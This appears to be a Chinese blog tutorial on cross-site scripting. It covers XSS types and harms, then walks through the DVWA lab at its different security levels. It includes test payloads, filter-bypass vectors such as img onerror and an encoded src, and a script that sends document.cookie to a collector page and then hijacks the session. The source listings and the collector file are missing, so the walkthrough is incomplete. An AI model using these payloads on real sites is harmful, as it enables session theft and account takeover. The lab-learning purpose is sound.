XSS漏洞学习 - Shu1L's blog

XSS漏洞相关知识点

XSS漏洞简介

XSS是跨站脚本攻击，属于被动式的攻击。XSS指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意的特殊目的。

XSS漏洞分类

非持久性XSS攻击，当用户访问已被插入攻击代码的链接时，攻击代码执行，完成该次攻击。
持久型XSS攻击，攻击者把攻击代码永久存储在目标服务器上中，例如数据库，消息论坛，留言板，访问者日志等。当用户进入页面，代码就会被执行。
DOM型与前两者的差别是，只在客户端进行解析，不需要服务器的解析响应

XSS漏洞常见危害

盗用cookie，获取敏感信息。（最常见）
劫持会话，执行任意操作（改密码、留言等CSRF)
强制弹出广告页面，刷广告流量
在访问量极大的一些页面上的XSS可以攻击一些小型网站，实现DDoS攻击的效果。
钓鱼，获取用户账号，密码
网页挂马，挖矿

关于JavaScript

JavaScript是一种客户端的脚本语言，是运行的浏览器中的
浏览器会自动运行网页中的JavaScript代码，并且JavaScript代码对于用户来说是透明的

网页中运行JavaScript的方式

1.引入外部js

1	<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"</script>

2.使用超链接（javascript伪协议）

1	<a href="javascript:alert(1)"></a>

3.使用标签

1	<script>alert(1)</script>

4.使用事件方法

1	<img src=1 onerror=alert(1)>

常见事件：

事件名称	类型	作用
onerror	window事件属性	在错误发生时运行的脚本
onload	window事件属性	页面加载结束以后运行脚本
onclick	Mouse事件	元素上发生鼠标点击时触发
onmouseover	Mouse事件	当鼠标指针移动到元素上时触发
oninput	From事件	当元素获得用户输入时运行的脚

探测XSS过程

1.构造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面

例如：hacker

2.使用浏览器审查工具进行代码审计，寻找构造的字符串是否在页面中显示。

xss常用的测试语句

<imgsrc="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">//转换为10进制
<img src=x onerror=alert(1)>
<iframe onload=alert(1)></iframe>
document.body.innerHTML=”

DVWA( XSS 部分)

XSS（reflect)

simple:

尝试发现输入的语句直接插入到标签中

直接使用<script>alert(1)</script>尝试，发现成功弹窗。

分析源码：

代码只判断了name值是否为空。没有做任何过滤。

尝试盗取cookie:

在本地网站根目录新建cookie.php和cookie.txt。

cookie.php内容为

回到dvwa中构造攻击语句：

1	<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script>

得到cookie:

回到DVWA的登录界面：

在火狐浏览器的控制台中编辑cookie重新发包：

访问index.php发现成功以被攻击者身份登录。

medium:

首先尝试<script>alert(1)</script> 发现

2.双写绕过：</script>

3.利用img标签进行绕过：<img src=1 onerror=alert(1)>

PS: onerror事件会在文档或图像加载过程中发生错误时被触发

因为src=x就是一个错误代码，所以触发事件执行

high:

尝试无效。

再次尝试<img src=1 onerror=alert(1)> 成功。

同样可以使用：<iframe onload=alert(1)>

PS:标签可以在一个html代码中嵌入另一个html内容

onload 是js的一个事件，事件会在页面加载完成后，立即发生，同时执行被调用的程序。

分析源码：

impossible:

尝试<script>alert(1)</script>发现语句被原封不动输出。

查看后台代码：

引用博客大佬解释：

利用PHP函数htmlspecialchars()实现将特殊字符（逻辑与符号&、双引号"、单引号'、小于号<、大于号>）转换为 HTML 实体，从而使得浏览器不解析其作为html元素构造脚本来执行，只是作为普通输入的字符来显示。

XSS DOM

DOM xss产生的原因：

DOM—based XSS漏洞是基于文档对象模型Document Objeet Model，DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口，它允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果能够成为显示页面的一部分。DOM中有很多对象，其中一些是用户可以操纵的，如uRI，location，refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM—based XSS漏洞
常用 xss DOM属性：

document.referer

window.name

location

innerHTML

document.write

simple:

查看后台代码：